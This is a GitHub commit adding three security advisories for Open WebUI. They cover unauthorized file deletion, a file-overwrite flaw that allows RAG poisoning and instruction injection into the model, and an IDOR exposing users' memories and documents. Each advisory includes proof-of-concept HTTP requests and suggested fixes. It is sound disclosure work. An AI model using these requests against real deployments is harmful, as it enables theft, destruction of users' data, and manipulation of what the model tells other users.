Skip to content

Commit 0856ce6

Browse files
1 parent 8ff1780 commit 0856ce6

3 files changed

Lines changed: 194 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-26gm-93rw-cchf",
4+
"modified": "2026-03-27T15:35:19Z",
5+
"published": "2026-03-27T15:35:19Z",
6+
"aliases": [
7+
"CVE-2026-29070"
8+
],
9+
"summary": "Open WebUI has unauthorized deletion of knowledge files",
10+
"details": "### Summary\nAn access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)\n\n### Details\nThe source code at https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base:\n```\n@router.post(\"/{id}/file/remove\", response_model=Optional[KnowledgeFilesResponse])\ndef remove_file_from_knowledge_by_id(\n id: str,\n form_data: KnowledgeFileIdForm,\n delete_file: bool = Query(True),\n user=Depends(get_verified_user),\n db: Session = Depends(get_session),\n):\n knowledge = Knowledges.get_knowledge_by_id(id=id, db=db)\n [...]\n # Note : Access control check on the knowledge base\n if (\n knowledge.user_id != user.id\n and not AccessGrants.has_access(\n user_id=user.id,\n resource_type=\"knowledge\",\n resource_id=knowledge.id,\n permission=\"write\",\n db=db,\n )\n and user.role != \"admin\"\n ):\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=ERROR_MESSAGES.ACCESS_PROHIBITED,\n )\n\n file = Files.get_file_by_id(form_data.file_id, db=db)\n [...]\n # Note : No checks on the file\n\n if delete_file:\n try:\n # Remove the file's collection from vector database\n file_collection = f\"file-{form_data.file_id}\"\n if VECTOR_DB_CLIENT.has_collection(collection_name=file_collection):\n VECTOR_DB_CLIENT.delete_collection(collection_name=file_collection)\n except Exception as e:\n log.debug(\"This was most likely caused by bypassing embedding processing\")\n log.debug(e)\n pass\n\n # Delete file from database\n Files.delete_file_by_id(form_data.file_id, db=db)\n[...]\n```\n\n### PoC\nVictim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1)\nAttacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b)\nAttacker deletes the victim file from their own collection:\n```\nPOST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1\nHost: gaius-neo-val.fr.space.corp\nAuthorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0\n[...]\n\n{\"file_id\":\"9db6dcee-bb3b-483e-aaf3-310fda366af1\"}\n\n-----\n\nHTTP/1.1 200 OK\n[...]\n```\nThe file is then deleted from the victim's knowledge base.\n\n\n### Impact\nArbitrary file deletion",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-26gm-93rw-cchf"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29070"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/open-webui/open-webui"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-862"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-27T15:35:19Z",
63+
"nvd_published_at": "2026-03-27T00:16:22Z"
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jjp7-g2jw-wh3j",
4+
"modified": "2026-03-27T15:34:26Z",
5+
"published": "2026-03-27T15:34:26Z",
6+
"aliases": [
7+
"CVE-2026-28788"
8+
],
9+
"summary": "Open WebUI's process_files_batch() endpoint missing ownership check, allows unauthorized file overwrite",
10+
"details": "### Summary\n\nAny authenticated user can overwrite any file's content by ID through the `POST /api/v1/retrieval/process/files/batch` endpoint. The endpoint performs no ownership check, so a regular user with read access to a shared knowledge base can obtain file UUIDs via `GET /api/v1/knowledge/{id}/files` and then overwrite those files, escalating from read to write. The overwritten content is served to the LLM via RAG, meaning the attacker controls what the model tells other users.\n\n### Details\n\nThe `process_files_batch()` function in `backend/open_webui/routers/retrieval.py` appears to be designed as an internal helper. The knowledge base router (`add_files_to_knowledge_batch()` in `knowledge.py`) imports and calls it directly after performing its own ownership and access control checks. The frontend never calls the retrieval route directly; all legitimate UI flows go through the knowledge base wrapper.\n\nHowever, the function is also exposed as a standalone HTTP endpoint via `@router.post(...)`. This direct route only requires `get_verified_user` (any authenticated user) and performs no ownership check of its own:\n\n```python\nfor file in form_data.files:\n text_content = file.data.get(\"content\", \"\") # attacker-controlled\n\n file_updates.append(FileUpdateForm(\n hash=calculate_sha256_string(text_content),\n data={\"content\": text_content}, # written to DB\n ))\n\nfor file_update, file_result in zip(file_updates, file_results):\n Files.update_file_by_id(id=file_result.file_id, form_data=file_update)\n # ^^^ no ownership check\n```\n\nThere is no verification that `file.user_id == user.id` before the write. Any authenticated user who knows a file UUID can overwrite that file.\n\n**How an attacker obtains file UUIDs:**\n\nSame as with read access, any user who can see a knowledge base can retrieve file IDs for every document in it via `GET /api/v1/knowledge/{id}/files`. In deployments where knowledge bases are shared across teams, this gives any regular user a list of valid targets.\n\n**Suggested fix:** Add an ownership check before writing:\n\n```python\nfor file in form_data.files:\n db_file = Files.get_file_by_id(file.id)\n if not db_file or (db_file.user_id != user.id and user.role != \"admin\"):\n file_errors.append(BatchProcessFilesResult(\n file_id=file.id, status=\"failed\",\n error=\"Permission denied: not file owner\",\n ))\n continue\n```\n\n**Classification:**\n- CWE-639: Authorization Bypass Through User-Controlled Key\n- OWASP API1:2023: Broken Object Level Authorization\n\nTested on Open WebUI **0.8.3** using a default Docker configuration.\n\n### PoC\n\n**Prerequisites:**\n- Default Open WebUI installation (Docker: `ghcr.io/open-webui/open-webui:main`)\n- An admin or user creates a knowledge base with shared read access and uploads a file\n- A regular user account exists (the attacker)\n\n**Obtaining the file UUID (attacker):**\n\n```\nGET /api/v1/knowledge/{kb_id}/files\n```\n\nThis returns metadata for all files in the KB, including their UUIDs.\n\n**Exploit (attacker):**\n\n```bash\npython3 poc_exploit.py --url http://<host>:3000 --file-id <target-file-uuid> -t <attacker-jwt>\n```\n\nThe PoC script: [poc_exploit.py](https://github.com/user-attachments/files/25470374/poc_exploit.py)\n1. Authenticates as the attacker\n2. Overwrites the target file via `POST /api/v1/retrieval/process/files/batch` with a canary payload containing a unique marker string\n3. Reads the file back and confirms the attacker's content replaced the original\n\n**Verifying RAG poisoning:**\n\nAfter the overwrite, log in as any other user, start a chat with the poisoned knowledge base attached, and ask about the document. The model's response will include the attacker's canary string (`BOLA-<marker>`), confirming that attacker-controlled content reached the LLM and influenced the response.\n\nNo special tooling is required. The script uses only Python 3 standard library (`urllib`).\n\n### Impact\n\n**Who is affected:** Any multi-user Open WebUI deployment where knowledge bases are shared. The attacker needs a valid account (any role) and a target file UUID, which is available through any knowledge base they have read access to.\n\n**What can happen:**\n- **RAG poisoning:** The overwritten content is served to the LLM via RAG. The attacker controls what the model tells every user who queries that knowledge base. This includes the ability to inject instructions the model will follow, which could lead to further exploitation depending on what tools and capabilities are available in the deployment (e.g. code interpreter, function calling).\n- **Silent data corruption:** The original file content is permanently replaced with no indication to the file owner or other users that it has changed.\n- **No audit trail:** Nothing records that an unauthorized user modified the file.\n\nThe core issue is that a function designed as an internal helper is exposed as a public endpoint without its own authorization checks. A user with read-only access to a knowledge base can escalate to write access over any file in it.\n\n### Disclaimer on the use of AI powered tools\n\nThe research and reporting related to this vulnerability was aided by the help of AI tools.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.6"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jjp7-g2jw-wh3j"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28788"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/open-webui/open-webui"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.8.6"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-639"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-27T15:34:26Z",
63+
"nvd_published_at": "2026-03-27T00:16:22Z"
64+
}
65+
}
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-w9f8-gxf9-rhvw",
4+
"modified": "2026-03-27T15:35:49Z",
5+
"published": "2026-03-27T15:35:49Z",
6+
"aliases": [
7+
"CVE-2026-29071"
8+
],
9+
"summary": "Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories",
10+
"details": "### Summary\nAny authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user), # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.\n\n**Exploitation — Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: <target>\nAuthorization: Bearer <attacker_token>\n```\n\nResponse reveals all users including admin's UUID, email, and role:\n\n```json\n{\n \"users\": [\n {\n \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n \"name\": \"user\",\n \"email\": \"user@test.com\",\n \"role\": \"user\"\n },\n {\n \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"name\": \"admin\",\n \"email\": \"admin@test.com\",\n \"role\": \"admin\"\n }\n ]\n}\n```\n\n<img width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" />\n\n**Exploitation — Step 2: Read admin's memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: <target>\nAuthorization: Bearer <attacker_token>\nContent-Type: application/json\n\n{\n \"collection_names\": [\"user-memory-<admin_UUID_from_step_1>\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin's private memories:\n\n```json\n{\n \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n<img width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" />\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation — Step 3: Read admin's private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: <target>\nAuthorization: Bearer <attacker_token>\nContent-Type: application/json\n\n{\n \"collection_names\": [\"file-<file_UUID>\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin's private document content and full metadata:\n\n```json\n{\n \"documents\": [[\"Test PDF \\nabc \\nbcd\"]],\n \"metadatas\": [[{\n \"name\": \"Test PDF.pdf\",\n \"author\": \"Mariusz Maik\",\n \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n }]]\n}\n```\n\n<img width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" />\n\n### Impact\n- **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user),\n):\n for collection_name in form_data.collection_names:\n if collection_name.startswith(\"user-memory-\"):\n owner_id = collection_name.replace(\"user-memory-\", \"\")\n if owner_id != user.id and user.role != \"admin\":\n raise HTTPException(status_code=403, detail=\"Access denied\")\n elif collection_name.startswith(\"file-\"):\n file_id = collection_name.replace(\"file-\", \"\")\n # user_has_access_to_file — placeholder; verify file ownership\n # e.g. check if created_by matches user.id\n if not user_has_access_to_file(user.id, file_id):\n raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.6"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.8.5"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29071"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/open-webui/open-webui"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-639"
58+
],
59+
"severity": "LOW",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-27T15:35:49Z",
62+
"nvd_published_at": "2026-03-27T00:16:22Z"
63+
}
64+
}

0 commit comments

Comments
 (0)